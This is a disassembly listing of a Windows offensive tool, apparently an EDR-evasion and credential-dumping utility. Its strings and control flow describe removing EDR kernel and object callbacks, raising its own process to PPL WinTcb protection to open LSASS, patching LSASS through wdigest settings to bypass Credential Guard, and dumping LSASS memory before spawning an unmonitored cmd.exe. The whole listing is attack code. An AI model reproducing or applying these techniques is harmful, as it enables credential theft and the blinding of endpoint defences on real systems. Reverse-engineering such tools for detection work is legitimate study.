jmp 0x14000241b
mov edx, 0x800
lea rcx, [rbp + 0x1d70]
call fcn.140017834
test rax, rax
je 0x140002411
nop dword [rax]
lea rcx, [rbp + 0x1d70]
call fcn.14000fb40
lea r8, [rsp + 0x78]
mov qword [rsp + 0x78], r12
lea rdx, [0x140038720]
mov rcx, rax
call fcn.140017734
mov r8, rax
lea rcx, [rbp]
mov edx, 0x100
call fcn.140016230
lea r8, [rbp]
mov rax, rdi
sub r8, rdi
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x1400023a4
add rax, 2
test ecx, ecx
jne 0x140002390
test edx, edx
je 0x1400023c5
mov r8, qword [rsp + 0x70]
lea rcx, [rbp + 0x1d70]
mov edx, 0x800
call fcn.140017834
test rax, rax
jne 0x140002350
jmp 0x140002411
mov rdx, rdi
lea rcx, str.___Offsets_are_available_for_this_version_of_wdigest.dll___s___n
call fcn.140001010
mov rdi, rbx
nop word [rax + rax]
lea r8, [rsp + 0x78]
xor ecx, ecx
lea rdx, [0x140038720]
call fcn.140017734
mov rcx, rax
lea rdx, [rbp - 0x80]
mov r8d, 0x10
call fcn.14001740c
mov qword [rdi], rax
add rdi, 8
cmp rdi, r15
jl 0x1400023e0
mov rcx, qword [rsp + 0x70]
call fcn.140017374
cmp qword [0x14004de00], r12
je 0x14000242d
cmp qword [0x14004de08], r12
jne 0x14000243e
lea rcx, str.____Offsets_are_missing_from_the_CSV_for_the_version_of_wdigest_in_use.
call fcn.1400165d0
jmp 0x14000243e
xor r12d, r12d
cmp dword [rsp + 0x58], 0
je 0x140002676
cmp qword [0x14004de00], 0
je 0x140002461
cmp qword [0x14004de08], 0
jne 0x140002676
lea rcx, str.___Downloading_wdigest_related_offsets_from_the_MS_Symbol_Server__will_drop_a_.pdb_file_in_current_directory_
call fcn.1400165d0
call fcn.140004890
mov rcx, rax
call fcn.140003560
xor edx, edx
mov rcx, rax
mov r14, rax
call fcn.1400082d0
mov rcx, rax
mov rsi, rax
call fcn.140008bd0
mov rcx, qword [rsi + 0x70]
mov rdi, rax
test rcx, rcx
je 0x1400024a7
call fcn.1400164d4
mov qword [rsi + 0x70], r12
mov rcx, rsi
call fcn.1400164d4
mov rcx, r14
call fcn.1400164d4
test rdi, rdi
je 0x140002594
xor edx, edx
lea rcx, [rbp]
mov r8d, 0x830
call fcn.14000c5f0
mov rdx, qword [rdi + 8]
lea r9, [rbp]
mov rcx, qword [rdi + 0x10]
lea r8, str.g_fParameter_UseLogonCredential
mov dword [rbp], 0x58
mov dword [rbp + 0x50], 0x7d1
call qword [sym.imp.dbghelp.dll_SymGetTypeFromName]
test eax, eax
je 0x140002506
mov rax, qword [rbp + 0x38]
sub rax, qword [rdi + 8]
jmp 0x140002509
mov rax, r12
xor edx, edx
mov qword [0x14004de00], rax
mov r8d, 0x830
lea rcx, [rbp]
call fcn.14000c5f0
mov rdx, qword [rdi + 8]
lea r9, [rbp]
mov rcx, qword [rdi + 0x10]
lea r8, str.g_IsCredGuardEnabled
mov dword [rbp], 0x58
mov dword [rbp + 0x50], 0x7d1
call qword [sym.imp.dbghelp.dll_SymGetTypeFromName]
test eax, eax
je 0x140002556
mov rax, qword [rbp + 0x38]
sub rax, qword [rdi + 8]
jmp 0x140002559
mov rax, r12
mov rdx, qword [rdi + 8]
mov rcx, qword [rdi + 0x10]
mov qword [0x14004de08], rax
call qword [sym.imp.dbghelp.dll_SymUnloadModule64]
mov rcx, qword [rdi + 0x10]
call qword [sym.imp.dbghelp.dll_SymCleanup]
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rdi]
call fcn.1400164d4
mov rcx, rdi
mov qword [rdi], r12
call fcn.1400164d4
cmp qword [0x14004de00], 0
je 0x14000266a
cmp qword [0x14004de08], 0
je 0x14000266a
lea rcx, str.___Downloading_offsets_succeeded__
call fcn.1400165d0
lea rcx, [rbp + 0xcb0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140002676
test al, 0x10
jne 0x140002676
lea rcx, str.___Saving_them_to_the_CSV_file...
call fcn.1400165d0
call fcn.140004940
lea r8, [0x1400387b4]
mov qword [rsp + 0x70], r12
lea rdx, [rbp + 0xcb0]
mov rdi, rax
lea rcx, [rsp + 0x70]
call fcn.1400171fc
mov rcx, qword [rsp + 0x70]
test rcx, rcx
jne 0x14000261e
lea rcx, str.____Offset_CSV_file_connot_be_opened
jmp 0x140002671
mov r8, rdi
lea rdx, [0x1400335f8]
call fcn.1400047e0
nop dword [rax]
mov r8, qword [rbx]
lea rdx, str.__llx
mov rcx, qword [rsp + 0x70]
call fcn.1400047e0
add rbx, 8
cmp rbx, r15
jl 0x140002630
mov rdx, qword [rsp + 0x70]
lea rcx, [0x140035674]
call fcn.140017590
mov rcx, qword [rsp + 0x70]
call fcn.140017374
jmp 0x140002676
lea rcx, str.____Downloading_offsets_from_the_internet_failed__
call fcn.1400165d0
cmp qword [0x14004de00], 0
je 0x140002757
cmp qword [0x14004de08], 0
je 0x140002757
lea rcx, [0x140033e68]
call fcn.1400165d0
cmp dword [rsp + 0x50], 0
je 0x14000270d
lea rcx, str.___Self_protect_our_current_process_as_Light_WinTcb_PsProtectedSignerWinTcb___Light__if_PPL_are_supported_by_the_OS_Offset_of__PS_PROTECTION_exists_._This_will_allow_lsass_access_is_RunAsPPL_is_enabled
call fcn.1400165d0
cmp qword [0x14004e238], 0
je 0x14000270d
mov ecx, dword [rsp + 0x54]
call fcn.140007810
mov rbx, rax
test rax, rax
jne 0x1400026da
lea rcx, str.____ERROR:_could_not_find_the_EPROCCES_struct_of_the_current_process_to_self_protect
call fcn.1400165d0
jmp 0x14000270d
mov rdx, rbx
lea rcx, str.____ProcessProtection__Found_self_process_EPROCCES_struct_at_0x_I64x_n
call fcn.140001010
add rbx, qword [0x14004e238]
lea rcx, str.____ProcessProtection__Protecting_own_process_by_setting_the_EPROCESSs_ProtectionLevel__at_0x_I64x__to_0x_hx__PS_PROTECTED_WINTCB_LIGHT__n
mov rdx, rbx
mov r8d, 0x61
call fcn.140001010
mov rcx, rbx
call fcn.14000a1f0
call fcn.140002f10
test eax, eax
je 0x140002733
lea rcx, str.___LSASS_was_patched_and_Credential_Guard_should_be_bypassed_for_future_logins_on_the_system.
call fcn.1400165d0
lea rcx, [0x140033e68]
call fcn.1400165d0
jmp 0x140002d7c
lea rcx, str.____LSASS_couldnt_be_patched_and_Credential_Guard_will_not_be_bypassed.
call fcn.1400165d0
lea rcx, [0x140033e68]
mov dword [rbp - 0x78], 1
call fcn.1400165d0
jmp 0x140002d7c
lea rcx, str.____The_offsets_must_be_computed_using_the_provided_script_and_added_to_the_offsets_CSV_file._LSASS_wont_be_patched..._n
call fcn.1400165d0
lea rcx, [0x140033e68]
mov dword [rbp - 0x78], 1
call fcn.1400165d0
jmp 0x140002d7c
lea rcx, str.___Kernel_callbacks_have_normally_been_removed__starting_cmd.exe_nWARNING:_EDR_kernel_callbacks_will_be_restored_after_exiting_the_cmd_prompt__by_typing_exit__nWARNING:_While_unlikely__the_longer_the_callbacks_are_removed__the_higher_the_chance_of_being_detected___causing_a_BSoD_upon_restore_is__n
call fcn.1400165d0
xor edx, edx
lea rcx, [rbp + 0x16e0]
mov r8d, 0x208
call fcn.14000c5f0
mov edx, 0x104
lea rcx, [rbp + 0x16e0]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xor edx, edx
lea rcx, [rbp + 0xec0]
mov r8d, 0x208
call fcn.14000c5f0
lea r8, [rbp + 0x16e0]
mov edx, 0x104
lea rcx, [rbp + 0xec0]
call fcn.140016298
lea r8, str.cmd.exe
mov edx, 0x104
lea rcx, [rbp + 0xec0]
call fcn.140016298
lea rcx, [rbp + 0xec0]
call fcn.14001631c
lea rcx, [0x140033e68]
call fcn.1400165d0
jmp 0x140002d7c
test ebx, ebx
je 0x14000287a
cmp qword [0x14004e238], 0
je 0x14000287a
lea rcx, str._n___RunPPL_bypass:_Self_protect_our_current_process_as_Light_WinTcb_PsProtectedSignerWinTcb___Light__since_PPL_is_supported_by_the_OS._This_will_allow_access_to_LSASS_if_RunAsPPL_is_enabled
call fcn.1400165d0
mov ecx, dword [rsp + 0x54]
call fcn.140007810
mov rbx, rax
test rax, rax
jne 0x140002847
lea rcx, str.____ERROR:_could_not_find_the_EPROCCES_struct_of_the_current_process_to_self_protect
call fcn.1400165d0
jmp 0x14000287a
mov rdx, rbx
lea rcx, str.____ProcessProtection__Found_self_process_EPROCCES_struct_at_0x_I64x_n
call fcn.140001010
add rbx, qword [0x14004e238]
lea rcx, str.____ProcessProtection__Protecting_own_process_by_setting_the_EPROCESSs_ProtectionLevel__at_0x_I64x__to_0x_hx__PS_PROTECTED_WINTCB_LIGHT__n
mov rdx, rbx
mov r8d, 0x61
call fcn.140001010
mov rcx, rbx
call fcn.14000a1f0
lea rcx, str.___Attempting_to_dump_the_process
call fcn.1400165d0
lea rcx, [rbp + 0x890]
mov rax, rsi
inc rax
cmp word [rcx + rax*2], 0
jne 0x140002890
test rax, rax
jne 0x140002909
lea rcx, [rbp + 0x858]
call fcn.14000fb40
mov rcx, rax
mov rbx, rax
call qword [sym.imp.SHLWAPI.dll_PathRemoveExtensionW]
lea r8, [rbp + 0x12c0]
mov edx, 0x104
lea rcx, [rbp + 0x890]
call fcn.140016298
lea r8, [0x140034cf8]
mov edx, 0x104
lea rcx, [rbp + 0x890]
call fcn.140016298
mov r8, rbx
lea rcx, [rbp + 0x890]
mov edx, 0x104
call fcn.140016298
test rbx, rbx
je 0x1400029bb
jmp 0x1400029b3
lea rcx, [rbp + 0x890]
call qword [sym.imp.SHLWAPI.dll_PathIsRelativeW]
test eax, eax
je 0x1400029bb
lea rcx, [rbp + 0x890]
mov rax, rsi
nop dword [rax + rax]
cmp word [rcx + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x140002930
lea rcx, [rbp + 0x12c0]
inc rsi
cmp word [rcx + rsi*2], 0
jne 0x140002943
lea rdi, [rax + 2]
mov edx, 2
add rdi, rsi
mov rcx, rdi
call fcn.14000f700
mov rbx, rax
test rax, rax
je 0x1400029d0
lea r8, [rbp + 0x12c0]
mov rdx, rdi
mov rcx, rax
call fcn.140016298
lea r8, [0x140034cf8]
mov rdx, rdi
mov rcx, rbx
call fcn.140016298
lea r8, [rbp + 0x890]
mov rdx, rdi
mov rcx, rbx
call fcn.140016298
mov r8, rbx
lea rcx, [rbp + 0x890]
mov edx, 0x104
call fcn.140016230
mov rcx, rbx
call fcn.1400164d4
mov edx, 8
lea ecx, [rdx - 6]
call fcn.14000f700
mov rbx, rax
test rax, rax
jne 0x1400029f4
lea rcx, str.____A_fatal_error_occurred_while_allocating_memory_for_thread_arguments
call fcn.1400165d0
lea rcx, [0x140033e68]
mov dword [rbp - 0x78], 1
call fcn.1400165d0
jmp 0x140002d7c
lea rax, [rbp + 0x858]
xor edx, edx
mov qword [rbx], rax
lea r8, [0x1400047d0]
lea rax, [rbp + 0x890]
xor ecx, ecx
mov qword [rbx + 8], rax
mov r9, rbx
xor eax, eax
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x64], ecx
jne 0x140002a2f
lea r8, [0x140007800]
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
test rax, rax
je 0x140002a67
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [rbp - 0x78]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
cmp dword [rbp - 0x78], 0
je 0x140002a7a
lea rcx, str.____A_fatal_error_occurred_during_the_LSASS_dump___execution_of_cmd.exe
jmp 0x140002a6e
lea rcx, str.____An_error_occurred_while_attempting_to_start_the_new_thread...
call fcn.1400165d0
mov dword [rbp - 0x78], 1
mov rcx, rbx
call fcn.1400164d4
lea rcx, [0x140033e68]
call fcn.1400165d0
jmp 0x140002d7c
call fcn.1400010d0
test eax, eax
jne 0x140002e3e
lea rcx, str.___Process_is_NOT__safe__to_launch_our_payload__removing_monitoring_and_starting_another_process..._n
call fcn.1400165d0
test r14d, r14d
je 0x140002ac8
mov ecx, dword [rsp + 0x54]
xor edx, edx
call fcn.1400073e0
lea rcx, [0x140033e68]
call fcn.1400165d0
mov esi, dword [rsp + 0x68]
test esi, esi
je 0x140002af0
lea rcx, str.___Removing_kernel_callbacks_registered_by_EDR_for_process_creation__thread_creation_and_image_loading...
call fcn.1400165d0
mov rcx, r13
call fcn.140007c60
lea rcx, [0x140033e68]
call fcn.1400165d0
mov r15d, dword [rbp - 0x80]
test r15d, r15d
je 0x140002b92
lea rcx, str.___Disabling_kernel_callbacks_registered_by_EDR_for_process_and_thread_opening_or_handle_duplication...
call fcn.1400165d0
cmp qword [0x14004e258], 0
je 0x140002b7a
cmp qword [0x14004e260], 0
je 0x140002b7a
cmp qword [0x14004e268], 0
je 0x140002b7a
xor eax, eax
mov edi, eax
cmp qword [r13], rax
jbe 0x140002b86
lea rbx, [r13 + 0x38]
cmp dword [rbx - 0x30], 1
jne 0x140002b6b
cmp dword [rbx], 0
jne 0x140002b6b
mov r8, qword [rbx - 0x28]
lea rdx, str.Disabling
lea rcx, str.____ObjectCallblacks__t_s__s_callback..._n
call fcn.140001010
mov rcx, qword [rbx - 0x20]
xor edx, edx
call fcn.14000a2f0
xor eax, eax
cmp dword [rbx], eax
sete al
mov dword [rbx], eax
inc rdi
add rbx, 0x38
cmp rdi, qword [r13]
jb 0x140002b35
jmp 0x140002b86
lea rcx, str.Object_callback_offsets_not_loaded___Aborting...
call fcn.1400165d0
lea rcx, [0x140033e68]
call fcn.1400165d0
lea rcx, str.___All_EDR_drivers_were_successfully_removed_from_Kernel_callbacks__n_n_nStarting_a_new_unmonitored_process..._n_n
call fcn.1400165d0
xorps xmm0, xmm0
mov dword [rbp - 0x70], 0x68
xor eax, eax
movups xmmword [rbp - 0x6c], xmm0
mov dword [rbp - 0xc], eax
movups xmmword [rbp - 0x5c], xmm0
mov qword [rbp + 0x840], rax
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rbp - 0x1c], xmm0
movups xmmword [rbp + 0x830], xmm0
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, qword [0x14004e688]
xor edx, edx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_TerminateThread]
xor edi, edi
lea rax, [rbp + 0x830]
mov qword [rsp + 0x48], rax
xor r9d, r9d
lea rax, [rbp - 0x70]
mov qword [0x14004e688], rdi
mov rcx, qword [r12]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov rdx, rbx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140002c64
mov rcx, qword [rbp + 0x830]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x830]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x838]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140002c77
lea rcx, str.____An_error_occured_while_trying_to_create_a_new_process
call fcn.1400165d0
mov dword [rbp - 0x78], 1
lea rcx, [0x140035674]
call fcn.1400165d0
cmp dword [rsp + 0x78], 1
jne 0x140002d50
test esi, esi
je 0x140002cb2
lea rcx, str.___Restoring_EDRs_kernel_notify_routine_callbacks...
call fcn.1400165d0
mov rcx, r13
call fcn.140007e40
lea rcx, [0x140033e68]
call fcn.1400165d0
test r15d, r15d
je 0x140002d50
lea rcx, str.___Restoring_EDRs_kernel_object_callbacks...
call fcn.1400165d0
cmp qword [0x14004e258], rdi
je 0x140002d38
cmp qword [0x14004e260], rdi
je 0x140002d38
cmp qword [0x14004e268], rdi
je 0x140002d38
cmp qword [r13], rdi
jbe 0x140002d44
lea rbx, [r13 + 0x38]
nop dword [rax]
cmp dword [rbx - 0x30], 1
jne 0x140002d29
cmp dword [rbx], 1
jne 0x140002d29
mov r8, qword [rbx - 0x28]
lea rdx, str.Enabling
lea rcx, str.____ObjectCallblacks__t_s__s_callback..._n
call fcn.140001010
mov rcx, qword [rbx - 0x20]
mov edx, 1
call fcn.14000a2f0
xor eax, eax
cmp dword [rbx], eax
sete al
mov dword [rbx], eax
inc rdi
add rbx, 0x38
cmp rdi, qword [r13]
jb 0x140002cf0
jmp 0x140002d44
lea rcx, str.Object_callback_offsets_not_loaded___Aborting...
call fcn.1400165d0
lea rcx, [0x140033e68]
call fcn.1400165d0
test r14d, r14d
je 0x140002d6f
mov ecx, dword [rsp + 0x54]
mov edx, 1
call fcn.1400073e0
lea rcx, [0x140033e68]
call fcn.1400165d0
test r13, r13
je 0x140002d7c
mov rcx, r13
call fcn.1400164d4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [rbp - 0x78]
jmp 0x140002dc6
lea rcx, [rbp + 0x1a40]
call fcn.1400165d0
lea rcx, [rbp + 0x2d70]
call fcn.1400165d0
xor eax, eax
jmp 0x140002dc6
lea rdx, [rbp + 0x1a40]
lea rcx, [0x1400335f8]
call fcn.140001010
mov eax, 1
mov r15, qword [rsp + 0x5280]
mov r13, qword [rsp + 0x5288]
mov rdi, qword [rsp + 0x52c8]
mov rsi, qword [rsp + 0x52c0]
mov rbx, qword [rsp + 0x52b0]
mov rcx, qword [rbp + 0x5170]
xor rcx, rsp
call fcn.14000b2e0
add rsp, 0x5290
pop r14
pop r12
pop rbp
ret
mov rdx, rbx
lea rcx, str.ReadMemoryPrimitive_GodFault:_Userland_address_used:_0x_016llx_nThis_should_not_happen__aborting..._n
call fcn.140001010
mov ecx, 1
call fcn.14000f6f4
int3
mov rdx, rbx
lea rcx, str.Non_canonical_address_used:_0x_016llx_nAborting_to_avoid_a_BSOD..._n
call fcn.140001010
mov ecx, 1
call fcn.14000f6f4
int3
lea rcx, str.Something_failed__cannot_perform_safely_execute_payload._Aborting..._n
call fcn.140001010
mov ecx, 1
call fcn.14000f6f4
int3